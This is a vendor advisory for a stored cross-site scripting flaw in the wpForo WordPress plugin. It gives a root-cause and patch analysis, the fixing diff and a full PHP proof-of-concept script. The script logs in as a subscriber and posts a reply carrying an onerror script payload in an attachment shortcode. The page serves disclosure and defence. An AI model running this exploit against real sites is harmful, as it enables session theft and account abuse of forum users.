Published : November 20, 2026

CVE-2026-123970: wpForo Forum <= 3.2.4 Authenticated (Subscriber+) Stored Cross-Site Scripting via wpforo-default-attachment Anchor Text PoC, Patch Analysis & Rule

Plugin wpforo
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.2.4
Patched Version 3.2.5
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-123970: wpForo Forum versions up to and including 3.2.4 contain an authenticated (Subscriber+) stored cross-site scripting vulnerability in the thread[body] parameter. The flaw resides in the attachment rendering logic within wpforo/includes/hooks.php, where the basename of an attachment filename is inserted into HTML without escaping. Successful exploitation requires a custom forum access profile that permits reading but denies attachment viewing (va=0 or caa=0), which is not the default configuration. The CVSS score is 6.4.

Root Cause: The vulnerability sits in wpforo/includes/hooks.php around line 2587, inside the filter that builds attachment HTML for users who cannot view attachments. When a post contains a wpforo-default-attachment link, the code extracts the filename from the link text (the anchor text) and embeds it into an element via urldecode( basename( $match[2] ) ). That value is concatenated directly into the HTML string without escaping. An attacker controls the anchor text of the wpforo-default-attachment link inside the thread[body] parameter. The sanitization applied to the post body (wpforo_kses with the ‘post’ context) allows markup that survives filtering, and the anchor text is later re-parsed by the attachment filter. The patched line wraps the value in esc_html(), confirming the missing output escaping was the root cause.

Exploitation: An authenticated attacker with Subscriber-level access posts a new forum topic or reply, supplying the thread[body] parameter containing a wpforo-default-attachment link whose anchor text carries an XSS payload, for example [wpforo-default-attachment]payload[/wpforo-default-attachment] or the exact shortcode syntax used by the plugin. The payload is stored in the post. When a victim whose forum access profile denies attachment viewing (va=0 or caa=0) views the post, the attachment filter builds the attach_cant_view HTML using the unescaped anchor text, and the browser executes the injected script. The attack depends on an administrator having configured a custom access profile that allows reading but denies attachment viewing; default configurations are not affected.

Patch Analysis: Version 3.2.5 adds esc_html() around the urldecode( basename( $match[2] ) ) output in wpforo/includes/hooks.php. Before the patch, the anchor text flowed into the HTML unescaped. After the patch, HTML special characters in the filename are encoded, so injected tags and event handlers render as text rather than executable markup. The patch also hardens several adjacent surfaces: Members.php now escapes list-table output and casts userid to int, Forms.php applies wpforo_kses with the ‘post’ context to tinymce fields, Members.php sanitizes display_name, user_nicename, first_name, last_name, and user_url before storage and reserves those keys against direct injection, Template.php escapes the quote mention, display_name, post URL, and phrase strings, and hooks.php reserves the same profile fields. These changes close related stored XSS paths that share the same anchor-text and profile-field data flow.

Impact: A Subscriber can store a script that executes in the browser of any forum reader whose access profile denies attachment viewing. Exploitation enables session theft, credential harvesting, forced actions on behalf of the victim, and persistence within the forum context. Because the payload is stored, it affects every qualifying viewer until the post is removed. The requirement for a non-default access profile limits the attack surface, but any site that has configured such a profile is fully exposed to Subscriber-level stored XSS.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/listtables/Members.php
+++ b/wpforo/admin/listtables/Members.php
@@ -58,7 +58,7 @@

                 return ! empty( $usergroup['name'] ) ? esc_html( $usergroup['name'] ) : __( 'default', 'wpforo' );
             case 'secondary_groupids':
-                return implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) );
+                return esc_html( implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) ) );
             case 'blog_posts':
                 return WPF()->member->blog_posts( $item['userid'] );
             case 'blog_comments':
@@ -66,7 +66,7 @@
             case 'online_time':
                 return ( $item['online_time'] ) ? wpforo_date_raw( $item['online_time'], 'datetime', false ) : '-';
             default:
-                return $item[ $column_name ];
+                return esc_html( (string) $item[ $column_name ] );
         }
     }

@@ -146,7 +146,7 @@
         //Return the title contents
         return sprintf(
                          '%1$s %2$s',
-                /*$1%s*/ $item['userid'],
+                /*$1%s*/ (int) $item['userid'],
                 /*$2%s*/ $this->row_actions( $actions )
         );
     }
--- a/wpforo/classes/Forms.php
+++ b/wpforo/classes/Forms.php
@@ -1282,6 +1282,11 @@
 				$value = sanitize_text_field( $value );
 			} elseif( $type === 'textarea' ) {
 				$value = stripslashes( wpforo_kses( trim( (string) $value ), 'user_description' ) );
+			} elseif( $type === 'tinymce' ) {
+				// Rich-text fields (about, signature) keep post-level markup, but event
+				// handlers and scripts must not reach storage: these values are also read
+				// outside wpForo, e.g. by the core post-author-biography block.
+				$value = wpforo_kses( trim( (string) $value ), 'post' );
 			} elseif( $type === 'email' ) {
 				$value = sanitize_email( $value );
 			} elseif( $type === 'password' ) {
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -653,6 +653,11 @@
                     'user_pass2',
                     'userid',
                     'ID',
+                    'display_name',
+                    'user_nicename',
+                    'user_url',
+                    'first_name',
+                    'last_name',
                 ] as $reserved ) {
                     unset( $data['data'][ $reserved ] );
                 }
@@ -969,31 +974,29 @@
         if( $check_permissions ) WPF()->perm->can_edit_user( $userid );

         //User Fields
-        if( wpfkey( $data, 'display_name' ) ) {
-            $user_fields['display_name'] = $data['display_name'];
+        if( wpfkey( $data, 'display_name' ) && ( $display_name = sanitize_text_field( (string) $data['display_name'] ) ) !== '' ) {
+            $user_fields['display_name'] = $display_name;
             $user_fields_types[]         = '%s';
         }
         if( wpfkey( $data, 'user_email' ) ) {
             $user_fields['user_email'] = $data['user_email'];
             $user_fields_types[]       = '%s';
         }
-        if( wpfkey( $data, 'user_nicename' ) ) {
-            if( ! wpfval( $data, 'user_nicename' ) ) {
-                $user_info             = get_userdata( $userid );
-                $data['user_nicename'] = sanitize_title( sanitize_user( $user_info->user_nicename, true ) );
-            }
-            $user_fields['user_nicename'] = $data['user_nicename'];
+        // Keep the current nicename when the new value sanitizes to nothing, so a
+        // non-Latin or markup-only input can't blank the profile URL.
+        if( wpfkey( $data, 'user_nicename' ) && ( $user_nicename = sanitize_title( sanitize_user( (string) $data['user_nicename'], true ) ) ) !== '' ) {
+            $user_fields['user_nicename'] = $user_nicename;
             $user_fields_types[]          = '%s';
-            update_user_meta( $userid, 'nickname', $data['user_nicename'] );
+            update_user_meta( $userid, 'nickname', $user_nicename );
         }
         if( wpfkey( $data, 'first_name' ) ) {
-            update_user_meta( $userid, 'first_name', $data['first_name'] );
+            update_user_meta( $userid, 'first_name', sanitize_text_field( (string) $data['first_name'] ) );
         }
         if( wpfkey( $data, 'last_name' ) ) {
-            update_user_meta( $userid, 'last_name', $data['last_name'] );
+            update_user_meta( $userid, 'last_name', sanitize_text_field( (string) $data['last_name'] ) );
         }
         if( wpfkey( $data, 'user_url' ) ) {
-            $user_fields['user_url'] = $data['user_url'];
+            $user_fields['user_url'] = esc_url_raw( (string) $data['user_url'] );
             $user_fields_types[]     = '%s';
         }

@@ -1074,9 +1077,12 @@
             $profile_fields_types[]      = '%s';
         }
         if( wpfkey( $data, 'about' ) ) {
-            $profile_fields['about'] = $member['about'];
+            // Callers that skip Forms::sanitize() (registration, imports) must not be
+            // able to store scripts here: WordPress renders this meta outside wpForo.
+            $about                   = wpforo_kses( (string) $member['about'], 'post' );
+            $profile_fields['about'] = $about;
             $profile_fields_types[]  = '%s';
-            update_user_meta( $userid, 'description', $member['about'] );
+            update_user_meta( $userid, 'description', $about );
         }
         if( wpfkey( $data, 'occupation' ) ) {
             $profile_fields['occupation'] = $member['occupation'];
--- a/wpforo/classes/Template.php
+++ b/wpforo/classes/Template.php
@@ -3061,12 +3061,13 @@
                     '<blockquote data-userid="%1$d" data-postid="%2$d" data-mention="%3$s"><div class="wpforo-post-quote-head">%4$s %5$s</div>',
                     $userid,
                     $postid,
-                    $mention,
-                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), $posted_by ) : '' ),
+                    // display_name comes from the WP profile and may contain quotes or markup.
+                    esc_attr( $mention ),
+                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), esc_html( $posted_by ) ) : '' ),
                     ( $postid ? sprintf(
                             '<div class="wpforo-post-quote-link"><a href="%1$s" title="%2$s">↑</a></div>',
-                            WPF()->post->get_url( $postid ),
-                            wpforo_phrase( 'go to original post', false )
+                            esc_url( WPF()->post->get_url( $postid ) ),
+                            esc_attr( wpforo_phrase( 'go to original post', false ) )
                     ) : '' )
             );
         },                             (string) $text );
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2279,6 +2279,11 @@
 				'user_pass2',
 				'userid',
 				'ID',
+				'display_name',
+				'user_nicename',
+				'user_url',
+				'first_name',
+				'last_name',
 			] as $reserved ) {
 				unset( $data['data'][ $reserved ] );
 			}
@@ -2582,7 +2587,7 @@
 					$attach_html .= '<br/><div class="wpfa-item wpfa-file"><a class="attach_cant_view" style="cursor: pointer;"><span style="color: #666;">' . wpforo_phrase(
 							'Attachment',
 							false
-						) . ' : </span> ' . urldecode( basename( $match[2] ) ) . '</a></div>';
+						) . ' : </span> ' . esc_html( urldecode( basename( $match[2] ) ) ) . '</a></div>';
 				}
 			}
 			if( $attach_html ) {
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.2.4
+* Version: 3.2.5
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.2.4' );
+define( 'WPFORO_VERSION', '3.2.5' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Proof of Concept (PHP)

PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123970 - wpForo Forum <= 3.2.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via wpforo-default-attachment Anchor Text
//
// Preconditions:
//   1. A subscriber account already exists (credentials supplied below).
//   2. An administrator has configured a forum access profile that allows reading
//      but denies attachment viewing (va=0 or caa=0).
//   3. A forum topic exists that the subscriber can reply to, OR the subscriber
//      can create a new topic in a forum they can post to.
//
// The script logs in as the subscriber, submits a reply whose thread[body]
// contains a wpforo-default-attachment link with an XSS payload in the anchor
// text, then prints the response. A victim with the restricted access profile
// who views the post will execute the payload.

$target_url = 'http://localhost';            // WordPress site root, no trailing slash
$username   = 'subscriber';                  // Subscriber-level account
$password   = 'subscriber-password';         // Account password
$forum_id   = 1;                             // Forum ID to post a reply in
$topic_id   = 1;                             // Existing topic ID to reply to

$cookie_jar = tempnam( sys_get_temp_dir(), 'wpforo_poc_' );

function http_request( $url, $method = 'GET', $post = null, $cookie_jar = null, $follow = true ) {
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_HEADER, false );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, $follow );
    curl_setopt( $ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0' );
    if ( $cookie_jar ) {
        curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie_jar );
        curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_jar );
    }
    if ( $method === 'POST' ) {
        curl_setopt( $ch, CURLOPT_POST, true );
        curl_setopt( $ch, CURLOPT_POSTFIELDS, $post );
    }
    $body = curl_exec( $ch );
    if ( $body === false ) {
        fwrite( STDERR, 'curl error: ' . curl_error( $ch ) . "n" );
    }
    curl_close( $ch );
    return $body;
}

// Step 1: Log in and obtain the WordPress session cookies.
// wp-login.php accepts log/pwd; the redirect drops us back on the site.
$login = http_request(
    $target_url . '/wp-login.php',
    'POST',
    [
        'log'         => $username,
        'pwd'         => $password,
        'wp-submit'   => 'Log In',
        'redirect_to' => $target_url . '/',
        'testcookie'  => '1',
    ],
    $cookie_jar
);
if ( $login === false ) {
    fwrite( STDERR, "Login request failed.n" );
    exit( 1 );
}

// Step 2: Fetch the reply form to extract the wpforo nonce.
// wpForo embeds a nonce in the reply form; without it the POST is rejected.
$topic_page = http_request( $target_url . '/community/topic/topic-' . $topic_id . '/', 'GET', null, $cookie_jar );
if ( $topic_page === false ) {
    fwrite( STDERR, "Unable to load topic page.n" );
    exit( 1 );
}

$nonce = '';
if ( preg_match( '/name="_wpfnonce"[^>]*value="([a-f0-9]+)"/i', $topic_page, $m ) ) {
    $nonce = $m[1];
} elseif ( preg_match( '/value="([a-f0-9]+)"[^>]*name="_wpfnonce"/i', $topic_page, $m ) ) {
    $nonce = $m[1];
}
if ( $nonce === '' ) {
    fwrite( STDERR, "Could not find _wpfnonce on topic page. Adjust selectors.n" );
    exit( 1 );
}

// Step 3: Payload. The anchor text of wpforo-default-attachment is placed
// into the attach_cant_view HTML without escaping by the vulnerable build.
$payload_body = '[wpforo-default-attachment]' .
    '<img src=x onerror=alert(document.cookie)>' .
    '[/wpforo-default-attachment]' . "nn" .
    'This reply demonstrates CVE-2026-123970.';

// Step 4: Submit the reply via the wpForo post endpoint.
// The endpoint expects the action/forum/topic identifiers plus thread[body].
$post = [
    'action'    => 'wpforo_reply',
    'forumid'   => $forum_id,
    'topicid'   => $topic_id,
    'thread'    => [
        'title' => 'Atomic Edge PoC reply',
        'body'  => $payload_body,
    ],
    '_wpfnonce' => $nonce,
];

// WordPress parses PHP-style bracket names; rebuild the payload so the
// server receives thread[body] as a nested array key.
$query = '';
foreach ( $post as $k => $v ) {
    if ( is_array( $v ) ) {
        foreach ( $v as $ik => $iv ) {
            $query .= urlencode( $k . '[' . $ik . ']' ) . '=' . urlencode( $iv ) . '&';
        }
    } else {
        $query .= urlencode( $k ) . '=' . urlencode( $v ) . '&';
    }
}
rtrim( $query, '&' );

$response = http_request(
    $target_url . '/wp-admin/admin-ajax.php',
    'POST',
    $query,
    $cookie_jar
);

if ( $response === false ) {
    fwrite( STDERR, "Reply submission failed.n" );
    exit( 1 );
}

echo "Reply submission response:n";
echo $response . "n";
echo "Now view the topic as a user whose access profile denies attachment viewing.n";

@unlink( $cookie_jar );

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.